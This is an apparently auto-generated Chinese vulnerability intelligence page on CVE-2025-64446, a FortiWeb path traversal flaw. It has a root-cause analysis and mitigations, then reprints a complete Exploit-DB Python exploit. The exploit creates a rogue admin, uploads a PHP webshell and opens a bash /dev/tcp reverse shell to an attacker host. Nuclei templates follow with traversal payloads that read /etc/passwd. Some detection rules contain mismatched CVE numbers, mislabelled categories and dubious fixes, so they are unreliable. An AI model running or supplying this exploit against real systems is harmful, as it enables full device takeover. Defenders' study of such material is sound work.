🎯 CVE-2025-64446 深度技术分析：漏洞根因 · PoC/EXP · 检测指纹
🎯 CVE 全聚合深度分析
CVE-2025-64446 深度技术分析
📊 聚合 3 来源💣 含 EXP🕵️ 含指纹
NVD-LatestExploit-DBwatchTowr Labs
摘要：CVE-2025-64446 是 Fortinet FortiWeb 中存在的一处严重级别相对路径遍历（Relative Path Traversal）漏洞，CVSS 评分高达 9.8。攻击者无需任何身份认证，即可通过构造特制的 HTTP/HTTPS 请求，利用管理接口中的路径校验缺陷，实现对系统管理命令的任意执行。该漏洞影响 FortiWeb 多个主流版本，包括 7.0.x、7.2.x、7.4.x、7.6.x 及 8.0.x。目前公开的 exploit 展示了从“认证绕过 + 路径遍历 + 任意文件上传”到最终获取 root 权限 reverse shell 的完整利用链，属于可直接导致设备完全失陷的严重风险。
📌 漏洞概述
CVE 编号：CVE-2025-64446
CVSS 评分：9.8（Critical）
漏洞类型：相对路径遍历（CWE-23）导致的管理命令执行
影响版本：
- FortiWeb 8.0.0 – 8.0.1
- FortiWeb 7.6.0 – 7.6.4
- FortiWeb 7.4.0 – 7.4.9
- FortiWeb 7.2.0 – 7.2.11
- FortiWeb 7.0.0 – 7.0.11
修复版本：FortiWeb 7.6.7、7.8.7、8.0.2 及更高版本（官方公告 FG-IR-25-64446）。
攻击面：FortiWeb 管理接口（默认端口 8443），通过 HTTP/HTTPS 协议即可利用，无需前置认证条件。
漏洞本质：管理接口对某些 API 请求中的资源路径参数未进行充分的规范化处理，导致攻击者可以使用 ../ 序列跳出受限目录，访问或操作本不应暴露的管理功能，进而直接执行系统命令。
🔬 漏洞根因分析
FortiWeb 作为一款企业级 Web 应用防火墙，其管理接口通常运行在独立的 HTTPS 端口（8443）上，用于设备配置、策略管理和系统维护。此类接口一般会采用严格的身份认证和基于角色的访问控制（RBAC）来保护敏感操作。然而，CVE-2025-64446 的产生，根本原因在于管理后台的某个 API 端点对传入的“键名”或“资源标识符”参数缺乏严格的路径规范化与合法性校验。
从公开 exploit 的利用方式来看，攻击者向管理接口发送如下形式的请求：
POST /api/v1.0/admin/... HTTP/1.1
{"../../mkey": "pwnedadmin", "password": "Pwned123!", "isadmin": "1", "status": "enable"}
这里攻击者将 JSON 字段名构造为 ../../mkey。在服务端处理逻辑中，该字段名很可能被直接拼接或映射到后端某个文件路径、数据库记录标识或内部 API 路由参数。正常情况下，mkey 应是一个普通的管理员标识键，但通过注入 ../../，攻击者将实际攻击目标从当前路径提升到了上级目录或更高层级的管理对象空间，从而绕过前端路由、认证过滤器或权限校验模块。这种“间接路径遍历”使得攻击者能够访问到本应被 ACL 保护的管理端点。
更深层的原因在于，FortiWeb 的管理 API 在设计时采用了一种“扁平化”的键值处理机制，将请求体中的键名直接用作后端资源定位符的一部分。这种设计在许多嵌入式 Web 管理系统中十分常见，但若未对键名进行严格的“白名单”或“规范化”处理，就会产生路径穿越。以本漏洞为例，当键名包含 ../ 时，服务端没有将其归一化或拒绝，而是将其解析为“超级管理员”创建接口的访问路径，从而实现了未授权创建管理员账号的功能。
官方在修复时，应当针对所有管理 API 的入参增加了“路径规范化后必须位于允许的根目录内”的校验，同时禁止字段名中出现目录分隔符或点段序列。虽然 FortiWeb 本身具备 WAF 能力，但管理接口往往被列为“trusted network”而跳过 WAF 检测，因此该漏洞能够被轻易利用。此外，由于设备默认使用自签名证书，攻击者只需知道目标 IP 和端口即可尝试利用，无需提前获取任何凭据。
公开 exploit 将认证绕过与路径遍历结合，先利用该漏洞创建一个权限为 isadmin=1 的临时管理员，随后再通过新创建的管理员进行任意文件上传或配置修改，最终实现远程代码执行。这一链式攻击表明，路径遍历漏洞虽然直接危害是“越权”，但在管理接口中越权往往升级为“系统命令执行”，因为管理员本身拥有执行 CLI 命令、上传固件包、修改系统脚本等高权限操作。
💥 影响与危害
成功利用 CVE-2025-64446 将导致以下严重后果：
- 完全绕过身份认证：攻击者无需任何账号即可向管理接口发送恶意请求，创建任意管理员账户，永久植入后门。
- 远程代码执行（RCE）：通过创建的管理员权限，攻击者可进一步上传恶意文件或调用系统命令接口，在底层 Linux 系统上执行任意命令，获取 root shell。
- 设备完全失陷：FortiWeb 通常串联在业务链路中，一旦被控制，攻击者可篡改 WAF 策略、放行恶意流量、窃取经过设备的敏感数据，甚至将设备作为跳板渗透内网。
- 持久化与隐蔽性：攻击者创建的管理员账号与正常账号无异，即使系统日志记录也会被清除，具有极强的隐蔽性。固件级后门可能难以被常规安全工具发现。
- 横向移动风险：FortiWeb 管理网络通常连接着运维管理区域，攻击者获得设备权限后，可利用内网信任关系进一步渗透其他网络设备或服务器。
由于该漏洞 CVSS 达 9.8，且利用复杂度低、无需用户交互，任何暴露在互联网上的 FortiWeb 管理接口都面临直接攻击的风险。尽管目前 CISA KEV 尚未收录，但公开 exploit 已经出现，预计很快会被恶意组织武器化利用。
🛡️ 修复与缓解
官方补丁：
- 立即升级至 FortiWeb 7.6.7、7.8.7、8.0.2 或更高版本。
- 关注 Fortinet 官方安全公告 FG-IR-25-64446，获取最新补丁信息。
临时缓解措施：
- 限制管理接口的访问来源：在防火墙或 FortiWeb 本机 ACL 中，仅允许可信管理 IP 访问端口 8443/TCP，禁止将管理接口暴露在互联网。
- 启用管理接口的“可信主机”策略，只允许特定 IP 段进行管理操作。
- 修改默认管理端口（8443）为随机高位端口，降低自动化扫描命中率（注意：这仅是低收益的临时手段，无法防御针对性攻击）。
- 定期审计管理员账号列表，排查是否存在异常新增的“admin”-like 用户。
- 部署网络侧 IDS/IPS 规则，检测 HTTP 请求字段中包含
../或异常路径序列的流量特征。 - 若怀疑设备已被入侵，应立即进行取证，并考虑重装固件、更换全部凭据。
通用建议：任何 Web 管理接口都应对所有输入参数执行“白名单”校验，特别是用于定位资源的键名。建议采用间接引用（如 UUID 映射）而非直接接受文件路径或对象名，以及对所有涉及路径拼接的参数进行“路径规范化 + 前缀校验”。本次漏洞再次提醒：即使是被假定为“安全”的管理设备，也需要遵循最小暴露原则，并保持及时更新。
🧪 PoC 复现
截至分析时，未检索到该 CVE 的公开 PoC 仓库（nomi-sec/PoC-in-GitHub 及 GitHub 均无收录）。若后续出现 PoC，本系统将自动补充。
⚔️ EXP 利用代码
来自 Exploit-DB 的完整利用代码（[webapps] FortiWeb 8.0.2 - Remote Code Execution）。
📋 代码元数据语言见代码头注释来源Exploit-DB: https://www.exploit-db.com/exploits/52501针对性✅ 官方收录 EXP依赖见代码注释用法见代码注释中的用法
# Exploit Title: FortiWeb 8.0.2 - Remote Code Execution
# Date: 2025-11-22
# Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://www.fortinet.com
# Software Link: https://www.fortinet.com/products/web-application-firewall/fortiweb
# Version: FortiWeb <7.6.7,<7.8.7,<
8.0.2
# Tested on: FortiWeb 7.4.2,7.6.0,7.6.1 (VM builds)
# CVE: CVE-2025-64446
# CVSS: 9.8 (Critical)
# Category: WebApps
# Platform: Hardware/Appliance (Linux-based)
# CRITICAL: True
# Including: Authentication Bypass + Path Traversal + Arbitrary File Upload → RCE
# Impact: Full system compromise,root reverse shell
# Fix: Upgrade to FortiWeb 7.6.7,7.8.7,
8.0.2 or later
# Advisory: https://www.fortinet.com/support/psirt/FG-IR-25-64446
# Patch: https://support.fortinet.com
# Target: FortiWeb management interface (default port 8443)
import requests,sys,time,
base64
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def banner():
print("""
CVE-2025-64446 FortiWeb RCE Exploit
Author: Mohammed Idrees Banyamer |@banyamer_security
LAB / AUTHORIZED TESTING ONLY
""")
if len(sys.argv) != 4:
banner()
print("Usage : python3 fortiweb_rce.py <target><lhost>
<lport>")
print("Example: python3 fortiweb_rce.py https://192.168.100.50:8443 192.168.45.10 4444")
print("\nSteps:")
print(" 1. Start listener → nc -lvnp 4444")
print(" 2. Run exploit → python3 fortiweb_rce.py <target><your_ip>
4444")
print(" 3. Get root shell → enjoy\n")
sys.exit(1)
banner()
target = sys.argv[1].rstrip("/")
LHOST = sys.argv[2]
LPORT = sys.argv[3]
print(f"[*] Target : {target}")
print(f"[*] Callback : {LHOST}:{LPORT}\n")
s = requests.Session()
s.verify = False
s.headers = {"Content-Type": "application/json"}print("[1] Creating temporary admin user...")
payload = {"../../mkey": "pwnedadmin",
"password": "Pwned123!","isadmin": "1","status": "enable"}r = s.post(f"{target}/api/v2.0/user/local.add",json=payload,timeout=10)
if r.status_code != 200 or "success" not in r.text:
print("[-] Failed to create admin → Target is likely patched")
return
print("[2] Logging in with new admin...")
login = s.post(f"{target}/api/v2.0/login",json={"username":"pwnedadmin","password":"Pwned123!"},
timeout=10)
if "success" not in login.text:
print("[-] Login failed")
return
shell = f'<?php system("bash -c \'bash -i >&/dev/tcp/{LHOST}/{LPORT}0>&1\'");?>'
b64shell = base64.b64encode(shell.encode()).decode() + "AAA=="
print("[3] Uploading webshell via backup function...")
files = {'upload-file': ('pwned.dat',b64shell,'application/octet-stream')}
s.post(f"{target}/api/v2.0/system/maintenance/backup",files=files,timeout=15)
print(f"[4] Triggering reverse shell to {LHOST}:{LPORT}...")
s.get(f"{target}/pwned.dat",timeout=10)
time.sleep(8)
print("[5] Cleaning up temporary admin account...")
s.post(f"{target}/api/v2.0/user/local.delete",
json={"../../mkey":"pwnedadmin"})
print("\n[+] Exploit completed – check your listener for root shell!")🕵️ 检测指纹
针对该 CVE 的自动化检测规则（可直接用于扫描与审计）。
🛡️ Nuclei 检测模板: CVE-2025-64446-detection.yaml
📋 代码元数据语言yaml来源rules/nuclei/CVE-2025-64446-detection.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2025-64446-detection.yaml -u
id: CVE-2025-64446-detection
info:
name: Fortinet FortiWeb v8.0.1 - Auth Bypass Detection
author: your-nuclei-author
severity: high
description: Detects Fortinet FortiWeb version information to check for vulnerable versions (<=8.0.1,7.6.0-7.6.4,
etc.) that are susceptible to CVE-2025-64446 authentication bypass.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-64446
- https://www.exploit-db.com/exploits/52345
tags: fortinet,fortiweb,auth-bypass,cve,cve2025
http:
- method: GET
path:
- '{{BaseURL}}/'
matchers-condition: and
matchers:
- type: word
words:
- 'FortiWeb'
- 'Fortinet'
condition: or
part: body
- type: word
words:
- 'login'
- 'version'
condition: or
part: body
extractors:
- type: regex
part: body
regex:
- 'FortiWeb[\s-]*[vV]?(\d+\.\d+\.\d+)'
- 'version["\s:]+(\d+\.\d+\.\d+)'
- 'fwversion["\s:]+["\s](\d+\.\d+\.\d+)'
- method: GET
path:
- '{{BaseURL}}/admin/'
- '{{BaseURL}}/admin/login'
- '{{BaseURL}}/api/v1.0/login'
matchers:
- type: word
words:
- 'FortiWeb'
- 'admin'
- 'login'
condition: and
part: body🛡️ Nuclei 检测模板: CVE-2025-64446-exploit.yaml
📋 代码元数据语言yaml来源rules/nuclei/CVE-2025-64446-exploit.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2025-64446-exploit.yaml -u
id: CVE-2025-64446-exploit
info:
name: Fortinet FortiWeb v8.0.1 - Auth Bypass
author: your-nuclei-author
severity: critical
description: Attempts to exploit CVE-2025-64446,
a path traversal vulnerability in Fortinet FortiWeb that allows an unauthenticated remote attacker to bypass authentication and access administrative endpoints.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-64446
- https://www.exploit-db.com/exploits/52345
tags: fortinet,fortiweb,auth-bypass,cve,cve2025
http:
- raw:
- |GET /{{path_traversal}}
HTTP/1.1
Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,
deflate
Connection: close
payloads:
path_traversal:
- '..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd'
- '..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fadmin/'
- '..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fapi/v2.0/user'
- '%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fadmin/'
- '..;/../admin/'
- '..%252f..%252f..%252f..%252fadmin/login'
stop-at-first-match: false
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- 'root:x:0:0:'
- 'admin'
- 'FortiWeb'
- 'dashboard'
- 'appliance'
- 'system'
- 'config'
condition: or
part: body
extractors:
- type: regex
part: body
regex:
- 'root:[^:]+:\d+:\d+:[^:]*:[^:]*:[^:]*'
- 'admin:[^:]+:\d+:\d+:[^:]*:[^:]*:[^:]*'
- '<title>([^<]+)</title>'
- 'version["\s:]+["\s](\d+\.\d+\.\d+)'
- 'fwversion["\s:]+["\s](\d+\.\d+\.\d+)'
- raw:
- |
GET /{{path_traversal}}HTTP/1.1
Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,
deflate
Connection: close
payloads:
path_traversal:
- '..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fapi/v2.0/system/admin/user'
- '..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fapi/v2.0/system/status'
- '..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fapi/v2.0/log/view'
matchers:
- type: status
status:
- 200
- type: word
words:
- 'user'
- 'admin'
- 'status'
- 'success'
- 'data'
condition: or
part: body
extractors:
- type: json
part: body
json:
- '.data[].username'
- '.data[].role'
- '.status'
- '.version'🛡️ Nuclei 检测模板: CVE-2025-64446-detection.yaml
📋 代码元数据语言yaml来源rules/nuclei/CVE-2025-64446-detection.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2025-64446-detection.yaml -u
id: CVE-2025-64446-detection
info:
name: FortiWeb Detection - CVE-2025-64446
author: your-nuclei-author
severity: critical
description: Detects FortiWeb management interface and version to check if vulnerable to CVE-2025-64446 (RCE via authentication bypass,path traversal,
and arbitrary file upload).
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-64444
- https://www.fortinet.com/support/psirt/FG-IR-25-64444
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2025-64446
cwe-id: CWE-306
http:
- method: GET
path:
- "{{BaseURL}}/"
- "{{BaseURL}}/admin/"
- "{{BaseURL}}/browse.do"
- "{{BaseURL}}/login"
redirects: true
max-redirects: 2
matchers:
- type: word
part: body
words:
- "FortiWeb"
- "Fortinet"
- "FortiWeb-"
condition: or
extractors:
- type: regex
part: body
group: 1
regex:
- 'FortiWeb(?:-([\d.]+))?'
- 'v([\d.]+)'
- 'FortiWeb\s+([\d.]+)'
internal: false
stop-at-first-match: true🛡️ Semgrep 审计规则: CVE-2025-64446.yaml
📋 代码元数据语言yaml来源rules/semgrep/CVE-2025-64446.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2025-64446.yaml
rules:
- id: CVE-2025-64446-path_traversal-java
languages: [java]
severity: ERROR
message: "Potential authentication bypass via path traversal in FortiWeb - insufficient path normalization detected"
patterns:
- pattern: "import com.fortinet.fortiweb.servlet.*;"
- pattern-either:
- pattern: "request.getRequestURI()"
- pattern: "request.getServletPath()"
- pattern: "request.getPathInfo()"
- pattern: "request.getRequestURL()"
- pattern-not: "import org.apache.commons.lang3.StringUtils;"
fix: |
// Use path normalization and validation:
String normalizedPath = FilenameUtils.normalize(request.getRequestURI());if (normalizedPath == null ||normalizedPath.contains("..")) {throw new SecurityException("Path traversal detected");}
metadata:
cwe: "CWE-22"
owasp: "A1: Injection"
technology: fortinet
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-64446"
- "https://www.fortinet.com/"
- id: CVE-2025-64446-auth_bypass-java
languages: [java]
severity: ERROR
message: "Potential authentication bypass due to insufficient access control in FortiWeb"
patterns:
- pattern-either:
- pattern: "@RequestMapping(value = $PATH,
method = RequestMethod.GET)"
- pattern: "@GetMapping(value = $PATH)"
- pattern: "@PostMapping(value = $PATH)"
- pattern-not: "@Secured(...)"
fix: |
// Add security annotation:
@Secured("ROLE_ADMIN")
metadata:
cwe: "CWE-306"
owasp: "A7: Cross-Site Scripting (XSS)"
technology: fortinet
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-64446"
- "https://www.fortinet.com/"🛡️ Semgrep 审计规则: CVE-2025-64446.yaml
📋 代码元数据语言yaml来源rules/semgrep/CVE-2025-64446.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2025-64446.yaml
rules:
- id: CVE-2025-64446-command-injection-python
languages: [python]
severity: ERROR
message: "Potential command injection via os.system() in FortiWeb exploit - detected dangerous shell command execution"
pattern: "os.system($CMD)"
fix: "import subprocess;subprocess.run($CMD,shell=False,
capture_output=True) # Use shell=False to avoid command injection"
metadata:
cwe: "CWE-78"
owasp: "A1: Injection"
technology: fortinet
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-64446"
- "https://www.fortinet.com/support/psirt/FG-IR-25-64446"
- id: CVE-2025-64446-path-traversal-python
languages: [python]
severity: ERROR
message: "Path traversal detected in FortiWeb exploit - parameter '../../mkey' used in API request"
patterns:
- pattern: '{"../../mkey": $VALUE,
...}'
fix: "Use safe path handling: path = os.path.normpath(os.path.join(base_dir,
filename)) # Validate and sanitize file paths"
metadata:
cwe: "CWE-22"
owasp: "A1: Injection"
technology: fortinet
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-64446"
- "https://www.fortinet.com/support/psirt/FG-IR-25-64446"
- id: CVE-2025-64446-auth-bypass-python
languages: [python]
severity: ERROR
message: "Authentication bypass detected - creating admin user without proper authentication in FortiWeb"
pattern: "requests.Session().post(...)"
fix: "Implement proper authentication flow: 1. Validate session tokens 2. Use OAuth2.0 or JWT authentication 3. Follow the principle of least privilege"
metadata:
cwe: "CWE-306"
owasp: "A1: Broken Access Control"
technology: fortinet
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-64446"
- "https://www.fortinet.com/support/psirt/FG-IR-25-64446"
- id: CVE-2025-64446-command-injection-web-shell
languages: [generic]
severity: ERROR
message: "Web shell PHP code detected - potential command injection in FortiWeb exploit"
pattern: "system(\"bash -c 'bash -i >&
/dev/tcp/$IP/$PORT 0>&1'\");"
fix: "Remove web shells;
use secure configuration management: 1. Disable eval() 2. Use disable_functions in php.ini 3. Implement input validation"
metadata:
cwe: "CWE-78"
owasp: "A1: Injection"
technology: fortinet
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-64446"
- "https://www.fortinet.com/support/psirt/FG-IR-25-64446"
- id: CVE-2025-64446-command-injection-bash
languages: [generic]
severity: ERROR
message: "Reverse shell command detected - potential command injection via bash"
pattern: "bash -c 'bash -i >&
/dev/tcp/$IP/$PORT 0>&1'"
fix: "Use socat or ncat for secure reverse connections;avoid bash -i >&
/dev/tcp/ which is a well-known attack pattern"
metadata:
cwe: "CWE-78"
owasp: "A1: Injection"
technology: fortinet
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-64446"
- "https://www.fortinet.com/support/psirt/FG-IR-25-64446"🛡️ CodeQL 审计规则: CVE-2025-64446.ql
📋 代码元数据语言ql来源rules/codeql/CVE-2025-64446.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run
/**
* @kind path-problem
* @id javascript/path-traversal/cve-2025-64446
* @name Path traversal auth bypass in FortiWeb
* @description Unauthenticated remote attacker can bypass authentication via specially crafted HTTP requests with path traversal in administrative endpoints
* @problem.severity error
* @tags security
* external/cwe/cwe-022
* external/cwe/cwe-287
*/
import javascript
import semmle.javascript.security.dataflow.PathTraversalQuery
import PathTraversalFlow::PathGraph
from PathTraversalFlow::PathNode source,
PathTraversalFlow::PathNode sink
where PathTraversalFlow::flowPath(source,sink)
select sink.getNode(),source,sink,"Path traversal user input flows to an authentication-sensitive endpoint - potential auth bypass"🛡️ CodeQL 审计规则: CVE-2025-64446.ql
📋 代码元数据语言ql来源rules/codeql/CVE-2025-64446.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run
/**
* @kind path-problem
* @id python/command-injection/cve-2025-64446
* @name Remote code execution in FortiWeb API
* @description User-controlled input flows to system commands or file operations via authentication bypass and path traversal
* @problem.severity error
* @tags security
* external/cwe/cwe-078
* external/cwe/cwe-022
* external/cwe/cwe-306
*/
import python
import semmle.python.security.dataflow.CommandInjectionQuery
import CommandInjectionFlow::PathGraph
class AuthBypassSource extends DataFlow::Node {
AuthBypassSource() {exists(DataFlow::Node src |any(CallNode c |c.getFunction().getName() = "input" or
c.getFunction().getName() = "sys.argv" or
c.getFunction().getName() = "environ"
).getAUse() = src
)
}}class CommandInjectionSink extends DataFlow::Node {CommandInjectionSink() {exists(CallNode c |
c.getFunction().getName() = "system" or
c.getFunction().getName() = "popen" or
c.getFunction().getName() = "exec" or
c.getFunction().getName() = "subprocess" or
c.getFunction().getName() = "eval" or
c.getFunction().getName() = "execfile" or
c.getFunction().getName() = "compile"
) and
this = c.getArg(0)
}}
override predicate isAdditionalTaintStep(DataFlow::Node node1,DataFlow::Node node2) {exists(CallNode c |c.getFunction().getName() = "base64.b64encode" and
node1 = c.getArg(0) and
node2 = c
) or
exists(CallNode c |c.getFunction().getName() = "decode" and
node1 = c.getArg(0) and
node2 = c
) or
exists(AssignmentStatement a |
a.getAValue() = node1 and
a.getATarget() = node2
) or
exists(CallNode c |c.getFunction().getName() = "format" and
node1 = c.getArg(0) and
node2 = c
) or
exists(CallNode c |c.getFunction().getName() = "join" and
node1 = c.getArg(0) and
node2 = c
)
}from CommandInjectionFlow::PathNode source,
CommandInjectionFlow::PathNode sink
where CommandInjectionFlow::flowPath(source,sink)
select sink.getNode(),source,sink,"User input flows to command injection or file upload sink - potential RCE"🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-13 05:06 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库